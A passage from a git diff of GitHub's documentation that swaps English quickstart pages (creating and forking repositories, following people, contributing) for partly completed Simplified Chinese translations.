-To make your communication clear and organized in issues and pull requests, you can use {% data variables.product.prodname_dotcom %} Flavored Markdown for formatting, which combines an easy-to-read, easy-to-write syntax with some custom functionality. For more information, see "[About writing and formatting on {% data variables.product.prodname_dotcom %}](/github/writing-on-github/about-writing-and-formatting-on-github)."
+To make your communication clear and organized in issues and pull requests, you can use {% data variables.product.prodname_dotcom %} Flavored Markdown for formatting, which combines an easy-to-read, easy-to-write syntax with some custom functionality. 更多信息请参阅“[关于 {% data variables.product.prodname_dotcom %} 上的书写和格式化](/github/writing-on-github/about-writing-and-formatting-on-github)”。
 
 You can learn {% data variables.product.prodname_dotcom %} Flavored Markdown with the "[Communicating using Markdown](https://lab.github.com/githubtraining/communicating-using-markdown)" course on {% data variables.product.prodname_learning %}.
 
@@ -96,49 +96,49 @@ Any number of people can work together in repositories across {% data variables.
 
 ### 1. Working with repositories
 
-#### Creating a repository
-A repository is like a folder for your project. You can have any number of public and private repositories in your user account. Repositories can contain folders and files, images, videos, spreadsheets, and data sets, as well as the revision history for all files in the repository. For more information, see "[About repositories](/github/creating-cloning-and-archiving-repositories/about-repositories)."
+#### 创建仓库
+仓库就像项目的文件夹。 You can have any number of public and private repositories in your user account. Repositories can contain folders and files, images, videos, spreadsheets, and data sets, as well as the revision history for all files in the repository. 更多信息请参阅“[关于仓库](/github/creating-cloning-and-archiving-repositories/about-repositories)”。
 
-When you create a new repository, you should initialize the repository with a README file to let people know about your project. For more information, see "[Creating a new repository](/github/creating-cloning-and-archiving-repositories/creating-a-repository-on-github/creating-a-new-repository)."
+When you create a new repository, you should initialize the repository with a README file to let people know about your project. 更多信息请参阅“[创建新仓库](/github/creating-cloning-and-archiving-repositories/creating-a-repository-on-github/creating-a-new-repository)”。
 
-#### Cloning a repository
-You can clone an existing repository from {% data variables.product.product_name %} to your local computer, making it easier to add or remove files, fix merge conflicts, or make complex commits. Cloning a repository pulls down a full copy of all the repository data that {% data variables.product.prodname_dotcom %} has at that point in time, including all versions of every file and folder for the project. For more information, see "[Cloning a repository](/github/creating-cloning-and-archiving-repositories/cloning-a-repository-from-github/cloning-a-repository)."
+#### 克隆仓库
+You can clone an existing repository from {% data variables.product.product_name %} to your local computer, making it easier to add or remove files, fix merge conflicts, or make complex commits. 克隆仓库将提取 {% data variables.product.prodname_dotcom %} 在当时拥有的所有仓库数据的完整副本，包括项目每个文件和文件夹的所有版本。 更多信息请参阅“[克隆仓库](/github/creating-cloning-and-archiving-repositories/cloning-a-repository-from-github/cloning-a-repository)”。
 
-#### Forking a repository
-A fork is a copy of a repository that you manage, where any changes you make will not affect the original repository unless you submit a pull request to the project owner. Most commonly, forks are used to either propose changes to someone else's project or to use someone else's project as a starting point for your own idea. For more information, see "[Working with forks](/github/collaborating-with-pull-requests/working-with-forks)."
-### 2. Importing your projects
+#### 复刻仓库
+A fork is a copy of a repository that you manage, where any changes you make will not affect the original repository unless you submit a pull request to the project owner. 复刻最常见的用法是对其他人的项目提出更改或将其他人的项目用作自己创意的起点。 更多信息请参阅“[使用复刻](/github/collaborating-with-pull-requests/working-with-forks)”。
+### 2. 导入项目
 If you have existing projects you'd like to move over to {% data variables.product.product_name %} you can import projects using the {% data variables.product.prodname_dotcom %} Importer, the command line, or external migration tools. For more information, see "[Importing source code to {% data variables.product.prodname_dotcom %}](/github/importing-your-projects-to-github/importing-source-code-to-github)."
 
 ### 3. Managing collaborators and permissions
-You can collaborate on your project with others using your repository's issues, pull requests, and project boards. You can invite other people to your repository as collaborators from the **Collaborators** tab in the repository settings. For more information, see "[Inviting collaborators to a personal repository](/github/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/inviting-collaborators-to-a-personal-repository)."
+您可以使用仓库议题、拉取请求及项目板与其他人协作处理您的项目。 You can invite other people to your repository as collaborators from the **Collaborators** tab in the repository settings. 更多信息请参阅“[邀请协作者参加个人仓库](/github/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/inviting-collaborators-to-a-personal-repository)”。
 
-You are the owner of any repository you create in your user account and have full control of the repository. Collaborators have write access to your repository, limiting what they have permission to do. For more information, see "[Permission levels for a user account repository](/github/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-a-user-account-repository)."
+You are the owner of any repository you create in your user account and have full control of the repository. Collaborators have write access to your repository, limiting what they have permission to do. 更多信息请参阅“[用户帐户仓库的权限级别](/github/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-a-user-account-repository)”。
 
-### 4. Managing repository settings
-As the owner of a repository you can configure several settings, including the repository's visibility, topics, and social media preview. For more information, see "[Managing repository settings](/github/administering-a-repository/managing-repository-settings)."
+### 4. 管理仓库设置
+As the owner of a repository you can configure several settings, including the repository's visibility, topics, and social media preview. 更多信息请参阅“[管理仓库设置](/github/administering-a-repository/managing-repository-settings)”。
 
-### 5. Setting up your project for healthy contributions
+### 5. 设置项目的健康贡献
 {% ifversion fpt or ghec %}
 To encourage collaborators in your repository, you need a community that encourages people to use, contribute to, and evangelize your project. For more information, see "[Building Welcoming Communities](https://opensource.guide/building-community/)" in the Open Source Guides.
 
-By adding files like contributing guidelines, a code of conduct, and a license to your repository you can create an environment where it's easier for collaborators to make meaningful, useful contributions. For more information, see "[Setting up your project for healthy contributions](/communities/setting-up-your-project-for-healthy-contributions)."
+By adding files like contributing guidelines, a code of conduct, and a license to your repository you can create an environment where it's easier for collaborators to make meaningful, useful contributions. 更多信息请参阅“[设置健康参与的项目](/communities/setting-up-your-project-for-healthy-contributions)”。
 {% endif %}
 {% ifversion ghes or ghae %}
-By adding files like contributing guidelines, a code of conduct, and support resources to your repository you can create an environment where it's easier for collaborators to make meaningful, useful contributions. For more information, see "[Setting up your project for healthy contributions](/communities/setting-up-your-project-for-healthy-contributions)."
+By adding files like contributing guidelines, a code of conduct, and support resources to your repository you can create an environment where it's easier for collaborators to make meaningful, useful contributions. 更多信息请参阅“[设置健康参与的项目](/communities/setting-up-your-project-for-healthy-contributions)”。
 {% endif %}
 
 ### 6. Using GitHub Issues and project boards
 You can use GitHub Issues to organize your work with issues and pull requests and manage your workflow with project boards. For more information, see "[About issues](/issues/tracking-your-work-with-issues/about-issues)" and "[About project boards](/issues/organizing-your-work-with-project-boards/managing-project-boards/about-project-boards)."
 
 ### 7. Managing notifications
-Notifications provide updates about the activity on {% data variables.product.prodname_dotcom %} you've subscribed to or participated in. If you're no longer interested in a conversation, you can unsubscribe, unwatch, or customize the types of notifications you'll receive in the future. For more information, see "[About notifications](/github/managing-subscriptions-and-notifications-on-github/setting-up-notifications/about-notifications)."
+Notifications provide updates about the activity on {% data variables.product.prodname_dotcom %} you've subscribed to or participated in. 如果您的某项对话不再感兴趣，您可以取消订阅、取消关注或自定义以后接收的通知类型。 更多信息请参阅“[关于通知](/github/managing-subscriptions-and-notifications-on-github/setting-up-notifications/about-notifications)”。
 
-### 8. Working with {% data variables.product.prodname_pages %}
-You can use {% data variables.product.prodname_pages %} to create and host a website directly from a repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}. For more information, see "[About {% data variables.product.prodname_pages %}](/pages/getting-started-with-github-pages/about-github-pages)."
+### 8. 使用 {% data variables.product.prodname_pages %}
+You can use {% data variables.product.prodname_pages %} to create and host a website directly from a repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}. 更多信息请参阅“[关于 {% data variables.product.prodname_pages %}](/pages/getting-started-with-github-pages/about-github-pages)”。
 
 {% ifversion fpt or ghec %}
-### 9. Using {% data variables.product.prodname_discussions %}
-You can enable {% data variables.product.prodname_discussions %} for your repository to help build a community around your project. Maintainers, contributors and visitors can use discussions to share announcements, ask and answer questions, and participate in conversations around goals. For more information, see "[About discussions](/discussions/collaborating-with-your-community-using-discussions/about-discussions)."
+### 9. 使用 {% data variables.product.prodname_discussions %}
+You can enable {% data variables.product.prodname_discussions %} for your repository to help build a community around your project. Maintainers, contributors and visitors can use discussions to share announcements, ask and answer questions, and participate in conversations around goals. 更多信息请参阅“[关于讨论](/discussions/collaborating-with-your-community-using-discussions/about-discussions)”。
 {% endif %}
 ## Part 4: Customizing and automating your work on {% data variables.product.product_name %}
 
@@ -154,20 +154,20 @@ You can enable {% data variables.product.prodname_discussions %} for your reposi
 ### {% ifversion fpt or ghec %}3.{% else %}2.{% endif %} Building {% data variables.product.prodname_actions %}
 {% data reusables.getting-started.actions %}
 
-### {% ifversion fpt or ghec %}4.{% else %}3.{% endif %} Publishing and managing {% data variables.product.prodname_registry %} 
+### {% ifversion fpt or ghec %}4.{% else %}3.{% endif %} Publishing and managing {% data variables.product.prodname_registry %}
 {% data reusables.getting-started.packages %}
 
 ## Part 5: Building securely on {% data variables.product.product_name %}
 {% data variables.product.product_name %} has a variety of security features that help keep code and secrets secure in repositories. Some features are available for all repositories, while others are only available for public repositories and repositories with a {% data variables.product.prodname_GH_advanced_security %} license. For an overview of {% data variables.product.product_name %} security features, see "[{% data variables.product.prodname_dotcom %} security features](/code-security/getting-started/github-security-features)."
 
-### 1. Securing your repository
-As a repository administrator, you can secure your repositories by configuring repository security settings. These include managing access to your repository, setting a security policy, and managing dependencies. For public repositories, and for private repositories owned by organizations where {% data variables.product.prodname_GH_advanced_security %} is enabled, you can also configure code and secret scanning to automatically identify vulnerabilities and ensure tokens and keys are not exposed. 
+### 1. 保护您的仓库
+As a repository administrator, you can secure your repositories by configuring repository security settings. These include managing access to your repository, setting a security policy, and managing dependencies. For public repositories, and for private repositories owned by organizations where {% data variables.product.prodname_GH_advanced_security %} is enabled, you can also configure code and secret scanning to automatically identify vulnerabilities and ensure tokens and keys are not exposed.
 
 For more information on steps you can take to secure your repositories, see "[Securing your repository](/code-security/getting-started/securing-your-repository)."
 
 {% ifversion fpt or ghec %}
 ### 2. Managing your dependencies
-A large part of building securely is maintaining your project's dependencies to ensure that all packages and applications you depend on are updated and secure. You can manage your repository's dependencies on {% data variables.product.product_name %} by exploring the dependency graph for your repository, using Dependabot to automatically raise pull requests to keep your dependencies up-to-date, and receiving Dependabot alerts and security updates for vulnerable dependencies. 
+A large part of building securely is maintaining your project's dependencies to ensure that all packages and applications you depend on are updated and secure. You can manage your repository's dependencies on {% data variables.product.product_name %} by exploring the dependency graph for your repository, using Dependabot to automatically raise pull requests to keep your dependencies up-to-date, and receiving Dependabot alerts and security updates for vulnerable dependencies.
 
 For more information, see "[Securing your software supply chain](/code-security/supply-chain-security)."
 {% endif %}
@@ -193,11 +193,11 @@ For more information, see "[Securing your software supply chain](/code-security/
 ### 5. Supporting the open source community
 {% data reusables.getting-started.sponsors %}
 
-### 6. Contacting {% data variables.contact.github_support %}
+### 6. 联系 {% data variables.contact.github_support %}
 {% data reusables.getting-started.contact-support %}
 
 {% ifversion fpt %}
-## Further reading
-- "[Getting started with {% data variables.product.prodname_team %}](/get-started/onboarding/getting-started-with-github-team)"
+## 延伸阅读
+- "[开始使用 {% data variables.product.prodname_team %}](/get-started/onboarding/getting-started-with-github-team)"
 {% endif %}
 {% endif %}
diff --git a/translations/zh-CN/content/get-started/quickstart/be-social.md b/translations/zh-CN/content/get-started/quickstart/be-social.md
index e59c630dd1..56a1d39ba1 100644
--- a/translations/zh-CN/content/get-started/quickstart/be-social.md
+++ b/translations/zh-CN/content/get-started/quickstart/be-social.md
@@ -1,11 +1,11 @@
 ---
-title: Be social
+title: 社交化
 redirect_from:
   - /be-social
   - /articles/be-social
   - /github/getting-started-with-github/be-social
   - /github/getting-started-with-github/quickstart/be-social
-intro: 'You can interact with people, repositories, and organizations on {% data variables.product.prodname_dotcom %}. See what others are working on and who they''re connecting with from your personal dashboard.'
+intro: '您可以在 {% data variables.product.prodname_dotcom %} 上与人员、仓库及组织进行互动。 从您的个人仪表板查看其他人正在做什么，在跟谁联系。'
 permissions: '{% data reusables.enterprise-accounts.emu-permission-interact %}'
 versions:
   fpt: '*'
@@ -19,63 +19,63 @@ topics:
   - Notifications
   - Accounts
 ---
-To learn about accessing your personal dashboard, see "[About your personal dashboard](/articles/about-your-personal-dashboard)."
 
-## Following people
+要了解有关访问个人仪表板的信息，请参阅“[关于个人仪表板](/articles/about-your-personal-dashboard)”。
 
-When you follow someone on {% data variables.product.prodname_dotcom %}, you'll get notifications on your personal dashboard about their activity. For more information, see "[About your personal dashboard](/articles/about-your-personal-dashboard)."
+## 关注他人
 
-Click **Follow** on a person's profile page to follow them.
+在 {% data variables.product.prodname_dotcom %} 上关注某人后，您将会在您的个人仪表板中收到有关其活动的通知。 更多信息请参阅“[关于个人仪表板](/articles/about-your-personal-dashboard)”。
 
-![Follow user button](/assets/images/help/profile/follow-user-button.png)
+在某人的个人资料页面上单击 **Follow（关注）**可关注他们。
 
-## Watching a repository
+![关注用户按钮](/assets/images/help/profile/follow-user-button.png)
 
-You can watch a repository to receive notifications for new pull requests and issues. When the owner updates the repository, you'll see the changes in your personal dashboard. For more information see {% ifversion fpt or ghae or ghes or ghec %}"[Viewing your subscriptions](/github/managing-subscriptions-and-notifications-on-github/viewing-your-subscriptions){% else %}"[Watching and unwatching repositories](/github/receiving-notifications-about-activity-on-github/watching-and-unwatching-repositories){% endif %}."
+## 关注仓库
 
-Click **Watch** at the top of a repository to watch it.
+您可以关注仓库以接收有关新拉取请求和议题的通知。 当所有者更新仓库时，您将在个人仪表板中看到其更改。 更多信息请参阅{% ifversion fpt or ghae or ghes or ghec %}“[查看您的订阅](/github/managing-subscriptions-and-notifications-on-github/viewing-your-subscriptions){% else %}”[关注和取消关注仓库](/github/receiving-notifications-about-activity-on-github/watching-and-unwatching-repositories){% endif %}”。
 
-![Watch repository button](/assets/images/help/repository/repo-actions-watch.png)
+在仓库顶部单击 **Watch（关注）**可关注它。
 
-## Joining the conversation
+![关注仓库按钮](/assets/images/help/repository/repo-actions-watch.png)
+
+## 加入对话
 
 {% data reusables.support.ask-and-answer-forum %}
 
-## Communicating on {% data variables.product.product_name %}
+## {% data variables.product.product_name %} 上的通信
 
-{% data variables.product.product_name %} provides built-in collaborative communication tools, such as issues and pull requests, allowing you to interact closely with your community when building great software. For an overview of these tools, and information about the specificity of each, see "[Quickstart for communicating on {% data variables.product.prodname_dotcom %}](/github/collaborating-with-issues-and-pull-requests/quickstart-for-communicating-on-github)."
+{% data variables.product.product_name %} 提供内置的协作通信工具，如议题和拉取请求，使您在构建出色的软件时能够与社区进行密切互动。 有关这些工具的概述以及每个工具的特异性，请参阅“[{% data variables.product.prodname_dotcom %} 通信快速入门](/github/collaborating-with-issues-and-pull-requests/quickstart-for-communicating-on-github)”。
 
-## Doing even more
+## 更多功能
 
-### Creating pull requests
+### 创建拉取请求
 
- You may want to contribute to another person's project, whether to add features or to fix bugs. After making changes, let the original author know by sending a pull request. For more information, see "[About pull requests](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests)."
+ 您可能希望为其他人的项目做出贡献，例如添加功能或修复漏洞。 做出更改后，通过发送拉取请求让原作者知道。 更多信息请参阅“[关于拉取请求](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests)”。
 
- ![Pull request button](/assets/images/help/repository/repo-actions-pullrequest.png)
+ ![拉取请求按钮](/assets/images/help/repository/repo-actions-pullrequest.png)
 
-### Using issues
+### 使用议题
 
-When collaborating on a repository, use issues to track ideas, enhancements, tasks, or bugs. For more information, see '[About issues](/articles/about-issues/)."
+在仓库上进行协作时，可使用议题来跟踪想法、增强功能、任务或漏洞。 更多信息请参阅“[关于议题](/articles/about-issues/)”。
 
-![Issues button](/assets/images/help/repository/repo-tabs-issues.png)
+![议题按钮](/assets/images/help/repository/repo-tabs-issues.png)
 
-### Participating in organizations
+### 参与组织
 
-Organizations are shared accounts where businesses and open-source projects can collaborate across many projects at once. Owners and administrators can establish teams with special permissions, have a public organization profile, and keep track of activity within the organization. For more information, see "[About organizations](/articles/about-organizations/)."
+组织是共享帐户，其中业务和开源项目可一次协助处理多个项目。 所有者和管理员可建立具有特殊权限的团队、拥有公共组织资料以及跟踪组织内的活动。 更多信息请参阅“[关于组织](/articles/about-organizations/)”。
 
-![Switch account context dropdown](/assets/images/help/overview/dashboard-contextswitcher.png)
+![切换帐户上下文下拉列表](/assets/images/help/overview/dashboard-contextswitcher.png)
 
-### Exploring other projects on {% data variables.product.prodname_dotcom %}
+### 在 {% data variables.product.prodname_dotcom %} 上探索其他项目
 
-Discover interesting projects using {% data variables.explore.explore_github %}, [Explore repositories](https://github.com/explore), and the {% data variables.explore.trending_page %}. Star interesting projects and come back to them later. Visit your {% data variables.explore.your_stars_page %} to see all your starred projects.  For more information, see "[About your personal dashboard](/articles/about-your-personal-dashboard/)." 
+使用 {% data variables.explore.explore_github %}、[探索仓库](https://github.com/explore)以及 {% data variables.explore.trending_page %} 来发现感兴趣的项目。 用星号标记感兴趣的项目，以便今后访问。 访问您的 {% data variables.explore.your_stars_page %} 可查看所有加星标的项目。  更多信息请参阅“[关于个人仪表板](/articles/about-your-personal-dashboard/)”。
 
-## Celebrate
+## 祝贺
 
-You're now connected to the {% data variables.product.product_name %} community. What do you want to do next?
-![Star a project](/assets/images/help/stars/star-a-project.png)
+您现在已连接到 {% data variables.product.product_name %} 社区。 接下来您要做什么？ ![用星号标记项目](/assets/images/help/stars/star-a-project.png)
 
 
-- To synchronize your {% data variables.product.product_name %} projects with your computer, you can set up Git. For more information see "[Set up Git](/articles/set-up-git)."
-- You can also create a repository, where you can put all your projects and maintain your workflows. For more information see, "[Create a repository](/articles/create-a-repo)."
-- You can fork a repository to make changes you want to see without affecting the original repository. For more information, see "[Fork a repository](/articles/fork-a-repo)."
+- 要将您的 {% data variables.product.product_name %} 项目与计算机同步，您可以设置 Git。 更多信息请参阅“[设置 Git](/articles/set-up-git)”。
+- 您也可以创建仓库，以放置所有项目和维护工作流程。 更多信息请参阅“[创建仓库](/articles/create-a-repo)”。
+- 您可以复刻仓库以进行您想要看到的更改，而不影响原始仓库。 更多信息请参阅“[复刻仓库](/articles/fork-a-repo)”。
 - {% data reusables.support.connect-in-the-forum-bootcamp %}
diff --git a/translations/zh-CN/content/get-started/quickstart/contributing-to-projects.md b/translations/zh-CN/content/get-started/quickstart/contributing-to-projects.md
index 627f6f11ef..467afad64f 100644
--- a/translations/zh-CN/content/get-started/quickstart/contributing-to-projects.md
+++ b/translations/zh-CN/content/get-started/quickstart/contributing-to-projects.md
@@ -34,7 +34,6 @@ You've successfully forked the Spoon-Knife repository, but so far, it only exist
 
 You can clone your fork with the command line, {% data variables.product.prodname_cli %}, or {% data variables.product.prodname_desktop %}.
 
-{% include tool-switcher %}
 {% webui %}
 
 1. 在 {% data variables.product.product_name %} 上，导航到 Spoon-Knife 仓库的**复刻**。
@@ -86,7 +85,6 @@ Go ahead and make a few changes to the project using your favorite text editor,
 
 When you're ready to submit your changes, stage and commit your changes. `git add .` tells Git that you want to include all of your changes in the next commit. `git commit` takes a snapshot of those changes.
 
-{% include tool-switcher %}
 {% webui %}
 
 ```shell
@@ -115,7 +113,6 @@ When you stage and commit files, you essentially tell Git, "Okay, take a snapsho
 
 Right now, your changes only exist locally. When you're ready to push your changes up to {% data variables.product.product_name %}, push your changes to the remote.
 
-{% include tool-switcher %}
 {% webui %}
 
 ```shell
diff --git a/translations/zh-CN/content/get-started/quickstart/create-a-repo.md b/translations/zh-CN/content/get-started/quickstart/create-a-repo.md
index d3b24b7e93..16e41fc101 100644
--- a/translations/zh-CN/content/get-started/quickstart/create-a-repo.md
+++ b/translations/zh-CN/content/get-started/quickstart/create-a-repo.md
@@ -1,11 +1,11 @@
 ---
-title: Create a repo
+title: 创建仓库
 redirect_from:
   - /create-a-repo
   - /articles/create-a-repo
   - /github/getting-started-with-github/create-a-repo
   - /github/getting-started-with-github/quickstart/create-a-repo
-intro: 'To put your project up on {% data variables.product.prodname_dotcom %}, you''ll need to create a repository for it to live in.'
+intro: '要将项目放在 {% data variables.product.prodname_dotcom %} 上，您需要创建一个仓库来存放它。'
 versions:
   fpt: '*'
   ghes: '*'
@@ -17,15 +17,16 @@ topics:
   - Notifications
   - Accounts
 ---
-## Create a repository
+
+## 创建仓库
 
 {% ifversion fpt or ghec %}
 
-You can store a variety of projects in {% data variables.product.prodname_dotcom %} repositories, including open source projects. With [open source projects](http://opensource.org/about), you can share code to make better, more reliable software. You can use repositories to collaborate with others and track your work. For more information, see "[About repositories](/github/creating-cloning-and-archiving-repositories/creating-a-repository-on-github/about-repositories)."
+您可以在 {% data variables.product.prodname_dotcom %} 仓库中存储各种项目，包括开源项目。 通过[开源项目](http://opensource.org/about)，您可以共享代码以开发更好、更可靠的软件。 您可以使用仓库与他人协作并跟踪您的工作。 更多信息请参阅“[关于仓库](/github/creating-cloning-and-archiving-repositories/creating-a-repository-on-github/about-repositories)”。
 
 {% elsif ghes or ghae %}
 
-You can store a variety of projects in {% data variables.product.product_name %} repositories, including innersource projects. With innersource, you can share code to make better, more reliable software. For more information on innersource, see {% data variables.product.company_short %}'s white paper "[An introduction to innersource](https://resources.github.com/whitepapers/introduction-to-innersource/)."
+您可以在 {% data variables.product.product_name %} 仓库中存储各种项目，包括内部来源项目。 通过内部源代码，您可以分享代码来获取更好、更可靠的软件。 有关内部资源的更多信息，请参阅 {% data variables.product.company_short %} 的白皮书“[内部资源简介](https://resources.github.com/whitepapers/introduction-to-innersource/)”。
 
 {% endif %}
 
@@ -33,26 +34,22 @@ You can store a variety of projects in {% data variables.product.product_name %}
 
 {% note %}
 
-**Note:** You can create public repositories for an open source project. When creating your public repository, make sure to include a [license file](https://choosealicense.com/) that determines how you want your project to be shared with others. {% data reusables.open-source.open-source-guide-repositories %} {% data reusables.open-source.open-source-learning-lab %}
+**注：**您可以为开源项目创建公共仓库。 创建公共仓库时，请确保包含[许可文件](https://choosealicense.com/)以确定您希望与其他人共享项目。 {% data reusables.open-source.open-source-guide-repositories %} {% data reusables.open-source.open-source-learning-lab %}
 
 {% endnote %}
 
 {% endif %}
 
-{% include tool-switcher %}
-
 {% webui %}
 
 {% data reusables.repositories.create_new %}
-2. Type a short, memorable name for your repository. For example, "hello-world".
-  ![Field for entering a repository name](/assets/images/help/repository/create-repository-name.png)
-3. Optionally, add a description of your repository. For example, "My first repository on {% data variables.product.product_name %}."
-  ![Field for entering a repository description](/assets/images/help/repository/create-repository-desc.png)
+2. 为仓库键入简短、令人难忘的名称。 例如 "hello-world"。 ![用于输入仓库名称的字段](/assets/images/help/repository/create-repository-name.png)
+3. （可选）添加仓库的说明。 例如，“我在 {% data variables.product.product_name %} 上的第一个仓库”。 ![用于输入仓库说明的字段](/assets/images/help/repository/create-repository-desc.png)
 {% data reusables.repositories.choose-repo-visibility %}
 {% data reusables.repositories.initialize-with-readme %}
 {% data reusables.repositories.create-repo %}
 
-Congratulations! You've successfully created your first repository, and initialized it with a *README* file.
+恭喜！ 您已成功创建第一个仓库，并使用*自述文件*对其进行了初始化。
 
 {% endwebui %}
 
@@ -61,32 +58,27 @@ Congratulations! You've successfully created your first repository, and initiali
 {% data reusables.cli.cli-learn-more %}
 
 1. In the command line, navigate to the directory where you would like to create a local clone of your new project.
-2. To create a repository for your project, use the `gh repo create` subcommand. When prompted, select **Create a new repository on GitHub from scratch** and enter the name of your new project. If you want your project to belong to an organization instead of to your user account, specify the organization name and project name with `organization-name/project-name`. 
-3. Follow the interactive prompts. To clone the repository locally, confirm yes when asked if you would like to clone the remote project directory.  
+2. To create a repository for your project, use the `gh repo create` subcommand. When prompted, select **Create a new repository on GitHub from scratch** and enter the name of your new project. If you want your project to belong to an organization instead of to your user account, specify the organization name and project name with `organization-name/project-name`.
+3. Follow the interactive prompts. To clone the repository locally, confirm yes when asked if you would like to clone the remote project directory.
 4. Alternatively, to skip the prompts supply the repository name and a visibility flag (`--public`, `--private`, or `--internal`). For example, `gh repo create project-name --public`. To clone the repository locally, pass the `--clone` flag.  For more information about possible arguments, see the [GitHub CLI manual](https://cli.github.com/manual/gh_repo_create).
 
 {% endcli %}
 
-## Commit your first change
-
-{% include tool-switcher %}
+## 提交您的第一个更改
 
 {% webui %}
 
-A *[commit](/articles/github-glossary#commit)* is like a snapshot of all the files in your project at a particular point in time.
+A *[提交](/articles/github-glossary#commit)*就像是项目中所有文件在特定时间点的快照。
 
-When you created your new repository, you initialized it with a *README* file. *README* files are a great place to describe your project in more detail, or add some documentation such as how to install or use your project. The contents of your *README* file are automatically shown on the front page of your repository.
+创建新仓库时，您使用*自述文件*对其进行了初始化。 *自述文件*是详细介绍项目的好工具，您也可以添加一些文档，例如介绍如何安装或使用项目的文档。 *自述文件*的内容自动显示在仓库的首页上。
 
-Let's commit a change to the *README* file.
+让我们提交对*自述文件*的更改。
 
-1. In your repository's list of files, click ***README.md***.
-  ![README file in file list](/assets/images/help/repository/create-commit-open-readme.png)
-2. Above the file's content, click {% octicon "pencil" aria-label="The edit icon" %}.
-3. On the **Edit file** tab, type some information about yourself.
-  ![New content in file](/assets/images/help/repository/edit-readme-light.png)
+1. 在仓库的文件列表中，单击 ***README.md***。 ![文件列表中的自述文件](/assets/images/help/repository/create-commit-open-readme.png)
+2. 在文件内容的上方，单击 {% octicon "pencil" aria-label="The edit icon" %}。
+3. 在 **Edit file（编辑文件）**选项卡上，键入一些关于您自己的信息。 ![文件中的新内容](/assets/images/help/repository/edit-readme-light.png)
 {% data reusables.files.preview_change %}
-5. Review the changes you made to the file. You'll see the new content in green.
-  ![File preview view](/assets/images/help/repository/create-commit-review.png)
+5. 查看您对文件所做的更改。 您会看到新内容以绿色显示。 ![文件预览视图](/assets/images/help/repository/create-commit-review.png)
 {% data reusables.files.write_commit_message %}
 {% data reusables.files.choose_commit_branch %}
 {% data reusables.files.propose_file_change %}
@@ -97,7 +89,7 @@ Let's commit a change to the *README* file.
 
 Now that you have created a project, you can start committing changes.
 
-*README* files are a great place to describe your project in more detail, or add some documentation such as how to install or use your project. The contents of your *README* file are automatically shown on the front page of your repository. Follow these steps to add a *README* file.
+*自述文件*是详细介绍项目的好工具，您也可以添加一些文档，例如介绍如何安装或使用项目的文档。 *自述文件*的内容自动显示在仓库的首页上。 Follow these steps to add a *README* file.
 
 1. In the command line, navigate to the root directory of your new project. (This directory was created when you ran the `gh repo create` command.)
 1. Create a *README* file with some information about the project.
@@ -132,18 +124,18 @@ Now that you have created a project, you can start committing changes.
 
 {% endcli %}
 
-## Celebrate
+## 祝贺
 
-Congratulations! You have now created a repository, including a *README* file, and created your first commit on {% data variables.product.product_location %}.
+恭喜！ 您现在已经创建了一个仓库，其中包括*自述文件*，并在 {% data variables.product.product_location %} 上创建了您的第一个提交。
 
 {% webui %}
 
-You can now clone a {% data variables.product.prodname_dotcom %} repository to create a local copy on your computer. From your local repository you can commit, and create a pull request to update the changes in the upstream repository. For more information, see "[Cloning a repository](/github/creating-cloning-and-archiving-repositories/cloning-a-repository)" and "[Set up Git](/articles/set-up-git)."
+您现在可以克隆 {% data variables.product.prodname_dotcom %} 仓库以在计算机上创建本地副本。 从您的本地仓库，您可以提交并创建拉取请求来更新上游仓库中的更改。 更多信息请参阅“[克隆仓库](/github/creating-cloning-and-archiving-repositories/cloning-a-repository)”和“[设置 Git](/articles/set-up-git)”。
 
 {% endwebui %}
 
-You can find interesting projects and repositories on {% data variables.product.prodname_dotcom %} and make changes to them by creating a fork of the repository. For more information see, "[Fork a repository](/articles/fork-a-repo)."
+您可以在 {% data variables.product.prodname_dotcom %} 上找到有趣的项目和仓库，并通过创建仓库的复刻来更改它们。 更多信息请参阅“[复刻仓库](/articles/fork-a-repo)”。
 
-Each repository in {% data variables.product.prodname_dotcom %} is owned by a person or an organization. You can interact with the people, repositories, and organizations by connecting and following them on {% data variables.product.prodname_dotcom %}. For more information see "[Be social](/articles/be-social)."
+{% data variables.product.prodname_dotcom %} 中的每个仓库均归个人或组织所有。 您可以在 {% data variables.product.prodname_dotcom %} 上连接和关注人员、仓库和组织以与之进行交互。 更多信息请参阅“[社交](/articles/be-social)”。
 
 {% data reusables.support.connect-in-the-forum-bootcamp %}
diff --git a/translations/zh-CN/content/get-started/quickstart/fork-a-repo.md b/translations/zh-CN/content/get-started/quickstart/fork-a-repo.md
index c9fa67d1cb..6c25821232 100644
--- a/translations/zh-CN/content/get-started/quickstart/fork-a-repo.md
+++ b/translations/zh-CN/content/get-started/quickstart/fork-a-repo.md
@@ -1,12 +1,12 @@
 ---
-title: Fork a repo
+title: 复刻仓库
 redirect_from:
   - /fork-a-repo
   - /forking
   - /articles/fork-a-repo
   - /github/getting-started-with-github/fork-a-repo
   - /github/getting-started-with-github/quickstart/fork-a-repo
-intro: A fork is a copy of a repository. Forking a repository allows you to freely experiment with changes without affecting the original project.
+intro: 复刻是仓库的副本。 通过复刻仓库，您可以自由地尝试更改而不会影响原始项目。
 permissions: '{% data reusables.enterprise-accounts.emu-permission-fork %}'
 versions:
   fpt: '*'
@@ -19,46 +19,45 @@ topics:
   - Notifications
   - Accounts
 ---
-## About forks
 
-Most commonly, forks are used to either propose changes to someone else's project or to use someone else's project as a starting point for your own idea. You can fork a repository to create a copy of the repository and make changes without affecting the upstream repository. For more information, see "[Working with forks](/github/collaborating-with-issues-and-pull-requests/working-with-forks)."
+## 关于复刻
 
-### Propose changes to someone else's project
+复刻最常见的用法是对其他人的项目提出更改或将其他人的项目用作自己创意的起点。 您可以复刻仓库以创建仓库的副本，并在不影响上游仓库的情况下进行更改。 更多信息请参阅“[使用复刻](/github/collaborating-with-issues-and-pull-requests/working-with-forks)”。
 
-For example, you can use forks to propose changes related to fixing a bug. Rather than logging an issue for a bug you've found, you can:
+### 对其他人的项目提出更改
 
-- Fork the repository.
-- Make the fix.
-- Submit a pull request to the project owner.
